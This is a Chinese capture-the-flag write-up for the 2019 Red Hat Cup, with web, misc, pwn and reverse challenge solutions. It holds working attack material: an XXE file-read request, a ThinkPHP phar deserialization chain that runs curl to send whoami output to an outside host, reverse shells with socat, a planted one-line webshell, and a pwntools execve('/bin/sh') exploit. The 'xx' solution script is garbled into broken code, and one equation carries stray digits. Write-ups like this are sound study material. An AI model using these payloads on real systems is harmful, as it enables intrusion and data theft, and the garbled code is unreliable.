2019红帽杯 writeup
- 2020 年 1 月 20 日
- 筆記
Web
Ticket_System
解题思路 XXE可以读文件

POST /postXML HTTP/1.1 Host: 118.190.135.20 Content-Length: 143 Accept: application/xml, text/xml, */*; q=0.01 Origin: http://118.190.135.20
Content-Type: application/xml;

用 php://filter 来读源码:
POST /postXML HTTP/1.1 Host: 118.190.135.20 Content-Length: 204 Accept: application/xml, text/xml, */*; q=0.01 Origin: http://118.190.135.20 Content-Type: application/xml;charset=UTF-8 Referer: http://118.190.135.20/ticket Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: PHPSESSID=eu5755jfof1o6df83mtr4e984n Connection: close <!DOCTYPE foo [<!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/proc/self/cwd/index.php" >]> <ticket> <username>&xxe;</username> <code>aaaa</code> </ticket>
hint in /hints.txt
You'r clever. But not enough. Try RCE!
可以rce,在博客上找到的⼀条5.2.0的链,phar反序列化,上传phar.xml(改后缀),然后xxe⽤
Phar协议读,但是是www-data权限:

<?php namespace thinkprocesspipes { class Windows { private $files; public function __construct($files) { $this->files = array($files); } } } namespace thinkmodelconcern { trait Conversion { protected $append = array("Smi1e" => "1"); } trait Attribute { private $data; private $withAttr = array("Smi1e" => "system"); public function get($system) { $this->data = array("Smi1e" => "$system"); } } } namespace think { abstract class Model { use modelconcernAttribute; use modelconcernConversion; } } namespace thinkmodel { use thinkModel; class Pivot extends Model { public function __construct($system) { $this->get($system); } } } namespace { $Conver = new thinkmodelPivot("curl http:// -d `whoami`;"); $payload = new thinkprocesspipesWindows($Conver); @unlink("phar.phar"); $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub $phar->setMetadata($payload); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); echo urlencode(serialize($payload)); }
后续参考*CTF的read_flag过程,根目录下存在一个有可执行权限的readflag二进制文件,拉回来分析以后与*CTF一模一样,也是需要在100ms里把计算结果输入进去。于是参考*CTF中关于此步的思路,上传一个静态编译的socat,把readflag的标准输入输出转为socket通道,也就是类似于pwn题的做法
反弹两个shell,一个执行socat
./socat tcp-l:9999,fork exec:/readflag 另一个连接转发出来的端口进行交互交互 #!/usr/bin/perl -w use IO::Socket; my $sock=IO::Socket::INET->new( PeerAddr =>'127.0.0.1', PeerPort => 9999, Proto =>'tcp')or die $@; $sock->recv($res, 1024); print $res; $sock->recv($res, 1024); print $res; $data = eval($res); print $data; # 打印计算结果 $sock->send($data); $sock->recv($res, 1024); print $res; $sock->send($data); $sock->recv($res, 1024); print $res; $sock->recv($res, 1024); print $res; $sock->recv($res, 1024); print $res; // 打印flag $sock->close or die $!; # 退出 exit 0;

Misc
恶臭的数据包

把握手包提取出来,之后用hashcat跑包。跑出密码为12345678
在wireshark中设置如下: Edit -> Preferences -> Protocols -> IEEE802.11 -> Edit

解密数据包,发现内部有个上传的图片,提取出来

结尾又发现一个zip

zip要密码,尝试了,不是伪加密,爆破了1-8位数字
在数据包的Cookie里发现JWT,于是访问他的网站
{ "hint": "for security, I set my password as a website which i just pinged before" }
服务器上找到一个后门,直接写一句话进去,


压缩包密码就是这个域名
玩具车
波形为高低电平,对应小车的运行状态
将wav中的高低电平转成0和1
然后根据图中所示原理

分析出四个轮子的转动情况(除停止之外有四种状态)
然后编写exp画出小车运动轨迹(为了缩小运行时间,可以每隔30个信号取一个有效信号)
flag为小车运行轨迹(uuid格式)
WAV.py
import wave file_name = 'C:\Users\a1516\Desktop\hmb\car\car\L293_2_EnB.wav' f = wave.open(file_name,'rb') params = f.getparams() nchannels, sampwidth, framerate, nframes = params[:4] str_data = f.readframes(nframes) a = len(str_data)/2 data = '' j=1 for i in range(int(a)): da = str_data[i*2] j+=1 if(j!=30): continue else: j=1 if da == 0: data += '0' else: data += '1' a = open('C:\Users\a1516\Desktop\hmb\car\car\2EnB.txt','w') a.write(data) a.close() f.close()
main.py
import turtle a = open('1A1.txt','r') A1_1 = a.read() a.close a = open('1A2.txt','r') A2_1 = a.read() a.close a = open('1B1.txt','r') B1_1 = a.read() a.close a = open('1B2.txt','r') B2_1 = a.read() a.close a = open('1EnA.txt','r') EnA_1 = a.read() a.close a = open('1EnB.txt','r') EnB_1 = a.read() a.close a = open('2A1.txt','r') A1_2 = a.read() a.close a = open('2A2.txt','r') A2_2 = a.read() a.close a = open('2B1.txt','r') B1_2 = a.read() a.close a = open('2B2.txt','r') B2_2 = a.read() a.close a = open('2EnA.txt','r') EnA_2 = a.read() a.close a = open('2EnB.txt','r') EnB_2 = a.read() a.close turtle.setup(5000,500,0,0) turtle.pensize(0.1) turtle.speed(100) turtle.right(90) turtle.penup() turtle.goto(-600,0) turtle.pendown() for i in range(len(EnA_1)): go_l_1 = 0; go_l_2 = 0; go_r_1 = 0; go_r_2 = 0; #print(len(EnA_1)) #print(i) b = EnA_1[i]+A1_1[i]+A2_1[i] if(EnA_1[i]=='0'): go_l_1=0 elif(A1_1[i] == A2_1): go_l_1=0 elif(b == '101'): #print('正转+1') go_l_1=1 elif(b=='110'): #print('反转-1') go_l_1=-1 else: print('错误!!!') #print('go_l_1 = '+str(go_l_1)) b = EnA_2[i]+A1_2[i]+A2_2[i] if(EnA_2[i]=='0'): go_l_2=0 elif(A1_2[i] == A2_2): go_l_2=0 elif(b == '101'): #print('正转+1') go_l_2=1 elif(b=='110'): #print('反转-1') go_l_2=-1 else: print('错误!!!') #print('go_l_2 = '+str(go_l_2)) b = EnB_2[i]+B1_2[i]+B2_2[i] if(EnB_2[i]=='0'): go_r_2=0 elif(B1_2[i] == B2_2): go_r_2=0 elif(b == '101'): #print('正转+1') go_r_2=1 elif(b=='110'): #print('反转-1') go_r_2=-1 else: print('错误!!!') #print('go_r_2 = '+str(go_r_2)) b = EnB_1[i]+B1_1[i]+B2_1[i] if(EnB_1[i]=='0'): go_r_1=0 elif(B1_1[i] == B2_1): go_r_1=0 elif(b == '101'): #print('正转+1') go_r_1=1 elif(b=='110'): #print('反转-1') go_r_1=-1 else: print('错误!!!') #print('go_r_1 = '+str(go_r_1)) if(go_l_1==1 and go_l_2==1 and go_r_1==1 and go_r_2==1): turtle.fd(0.02) elif(go_l_1==-1 and go_l_2==-1 and go_r_1==-1 and go_r_2==-1): turtle.fd(-0.02) elif(go_l_1==1 and go_l_2==1 and go_r_1==-1 and go_r_2==-1): turtle.left(0.33) elif(go_l_1==-1 and go_l_2==-1 and go_r_1==1 and go_r_2==1): turtle.right(0.33) else: print(go_l_1,go_l_2,go_r_1,go_r_2,flag_right,flag_left) turtle.done()
PWN
three
from pwn import * context.log_level = 'debug' #p = process('./pwn') p = remote() p.sendlineafter('Give me a index:','3') migStack = 'x89xccxc3' p.sendafter('Three is good number,I like it very much!',migStack) binsh_len = len('/bin/shx00') pop_ecx_ebx = 0x08072fb2 pop_eax_edx_ebx = 0x080568b4 int80 = 0x08049903 shellcode = p32(pop_ecx_ebx) + p32(0) + p32(0) +p32(pop_eax_edx_ebx) + p32(0xb) + p32(0) + p32(0x80f6ce1) + p32(int80) p.sendlineafter('Leave you name of size:','500') p.sendlineafter('Tell me:',shellcode +'x00'+'/bin/shx00') p.interactive()
Revers
xx
解题思路
64位控制台程序。大致流程为:输入后检查长度为19字节,检查前4字节是否在设定字符集中,并copy到新变量上并00填充至16字节。然后用这个16字节数据为密码加密19字节数据(经处理后实际加密24字节),加密算法特征明显,为XXTEA,与题名相合。最后加密字节组经乱序后进行某种异或操作,并与常量比较。
题中用到的字符集为:qwertyuiopasdfghjklzxcvbnm1234567890。
至XTEA加密未作改更变19字节00填充至20字节,再加上4字节小端表示的原长度,所以加密的原文是24字节。
异或计算过程是将24字节分成8组,每组3字节,每组异或值相同。第0组取值为0,即不异或,第i组(0<i<8),异或值取异4字节的前i字节
的异或值,如记24字节记为a,第2组异或值取a[0]^a[1]。
XXTEA的加密密钥前4字节为原始输入的前4字节,得到密文可枚举。但想来如果输入符合正常flag格式,前4字节即为flag。尝试解密成功。反解如下:>from operator import xor from py_teadimport xxtea aef mtin(): = [ 1 0xce,0xbc 0x40, 1 0x5b 6x7c 0x3a, 6 0x95,0xc0,0xef 20x9b,0x40 0x20, 1 0x97,0xf8,0x02 1 0x35,0x23,0x7, 2 0x03,0xc8,0xe7 1 0x56,0x59 0xfa] 1b = list(a) for i in range(8,,): for j in range(3): tmp = reduce(xor b[:i]) 1a[3*i+j] ^= tmp idx = [2,0,3,5,6,4,7,7 80,, 71 9,64 10 ,5 ,3 58 1, 1, 17,22,0, ,3 21] 2enc = [0]*48 key =2'flag'+'x00'*12 for i in range(04):> enc[idx[i]] = a[i] printxxtea.xxtea_decrypt(''.join(map(chr,denc),key,endian='<')
easyRE
b程序为64位ELF格式。在main函数中有两次输入,求解后知道此非flag,main函数也非关键所在。两次输入求解结果为:
Info:The first four chars are `flag`
https://bbs.pediy.com/thread-254172.htm
然后查看init_array,发现其中函数有取timestamp并保存到全局变量,且此变量还在另一个函数中使用了,此函数在finit_array列表中,看着像有着什么,其伪代码如下:un signed __int64 sub_400D35() { unsigned __int64 result; // rax unsigned __int64 v1; // rt1 unsigned int v2; // [rsp+Ch] [rbp-24h] signed int i; // [rsp+10h] [rbp-20h] signed int j; // [rsp+14h] [rbp-1Ch] unsigned int v5; // [rsp+24h] [rbp-Ch] unsigned __int64 v6; // [rsp+28h] [rbp-8h] v6 = __readfsqword(0x28u); v2 = sub_43FD20() - qword_6CEE38; for ( i = 0; i <= 1233; ++i ) { sub_40F790(v2); sub_40FE60(); sub_40FE60(); v2 = sub_40FE60() ^ 0x98765432; } v5 = v2; if ( (v2 ^ byte_6CC0A0[0]) == 'f' && (HIBYTE(v5) ^ byte_6CC0A3) == 'g' ) { for ( j = 0; j <= 24; ++j ) sub_410E90(byte_6CC0A0[j] ^ *(&v5 + j % 4)); } v1 = __readfsqword(0x28u); result = v1 ^ v6; if ( v1 != v6 ) error(); return result; } 结合main函数中解出的前4字节为flag的hint,上面代码python计算如下:>>> a=[0x40, 0x35, 0x20, 0x56, 0x5D, 0x18, 0x22, 0x45, 0x17, 0x2F, ... 0x24, 0x6E, 0x62, 0x3C, 0x27, 0x54, 0x48, 0x6C, 0x24, 0x6E, ... 0x72, 0x3C, 0x32, 0x45, 0x5B] >>> b = map(lambda x,y:ord(x)^y ,'flag',a[0:4] ... ... ) >>> b [38, 89, 65, 49] >>> for i in range(len(a)): ... a[i] ^= b[i%4] ... >>> a [102, 108, 97, 103, 123, 65, 99, 116, 49, 118, 101, 95, 68, 101, 102, 101, 110, 53, 101, 95, 84, 101, 115, 116, 125] >>> print ''.join(map(chr,a))
calc
解题思路
题此题是64位c++控制台程序。一共3次输入,记为x,y,z。每次输入后紧接着就是乘和乘方计算,其实是没什么用的,干
扰而已。从地址0x140002B31开始,计算才有用。
先是检查x < z和y < x,接着计算两个算式:
(x+y)**3 -3*y*x**2 - 3*x*y**2得(z+4)**3 - 12*z**2 - 48*z - 2 最后校验两个算式结果相等,所以最终得到一个三元方程:(x+y)**3 -3*y*x**2 - 3*x*y**2 = (z+4)**3 - 12*z**2 - 48*z - 22
化得:
x**3 + y**3 + (-z)**3 = 42
合今年的新闻:

搜索到那个亮闪闪的计算式:(-80538738812075974)^3 + 80435758145817515^3 + 12602123297335631^3 = 422 所以:x=80435758145817515 y=12602123297335631 z=80538738812075974

>>> md5("804357581458175151260212329733563180538738812075974").hexdigest() '951e27be2b2f10b7fa22a6dc8f4682bd''
childR
解题思路
此题64位控制台程序。题目意思大概是输入经乱序后重组成经修饰后的c++符号字串,然后通过UnDecorateSymbolName调用转成非修饰的完整符号字串,最后通过两个表校验。
先通过最后校验得到非修饰的完整c++符号字串: l = '(_@4620!08!6_0*0442!@186%%0@3=66!!974*3234=&0^3&1@=&0908!6_0*&' h = '55565653255552225565565555243466334653663544426565555525555222' t = '''1234567890-=!@#$%^&*()_+qwertyuiop[]QWERTYUIOP{}asdfghjkl;'ASDFGHJKL:"ZXCVBNM<>?zxcvbnm,./''' name = '' for i in range(len(l)): name += chr(t.index(l[i])+t.index(h[i])*23) print name
得到 private: char * __thiscall R0Pxx::My_Aut0_PWN(unsigned char *)。
想得到修饰后的符号,可以写个dll啊。得通过查看编译好的dll,到?修饰后的符号字串:My_Aut0_PWN@R0Pxx@@AAEPADPAE@Z。
然后就是确定乱序的规则了。通过动态发现乱序取值顺序是固定的,于是直接输入31个不同字符,通过结果获取到乱序的取值规则。输入到name的变换序号(
>>> t1='1234567890abcdefghijklmnopqrstu' >>> t2='666738686939346A6B306C6D6135326E6F6270716336727364747565373331'.decode('hex') >>> idx=[] >>> for i in t2: ... idx.append(t1.index(i)) ... >>> idx [15, 16, 7, 17, 18, 8, 3, 19, 20, 9, 21, 22, 10, 4, 1, 23, 24, 11, 25, 26, 12, 5, 27, 28, 13, 29, 30, 14, 6, 2, 0]
修饰后的符号字串转成原始输入:
>>> d='?My_Aut0_PWN@R0Pxx@@AAEPADPAE@Z' >>> idx [15, 16, 7, 17, 18, 8, 3, 19, 20, 9, 21, 22, 10, 4, 1, 23, 24, 11, 25, 26, 12, 5, 27, 28, 13, 29, 30, 14, 6, 2, 0] >>> dd = [0]*31 >>> for i in range(31): ... dd[idx[i]] = d[i] ... >>> ''.join(dd) 'Z0@tRAEyuP@xAAA?M_A0_WNPx@@EPDP' >>> from hashlib import md5 >>> md5('Z0@tRAEyuP@xAAA?M_A0_WNPx@@EPDP').hexdigest() '63b148e750fed3a33419168ac58083f5'
Snake
解题思路
查看Assembly-CSharp.dll代码后发现并没有特别的东西。在Plugins目录下发现Interface.dll文件,简单静态分析后确定关键在此文件的GameObject导出函数中,其中Assembly-CSharp.dll中调用如下:Debug.Log(Interface.GameObject((int)base.gameObject.transform.position.x, (int)base.gameObject.transform.position.y));

参数为坐标。
实际此导出函数只用到了x坐标,通过简单调试,发现x取值在[0,199]之间可能得flag。关键计算代码为大数计算,有点难看,干脆无脑枚举。于是写了个dll调用的枚举程序,跑得有点慢。

招新小广告
ChaMd5 ctf组 长期招新
尤其是crypto+reverse+pwn+合约的大佬
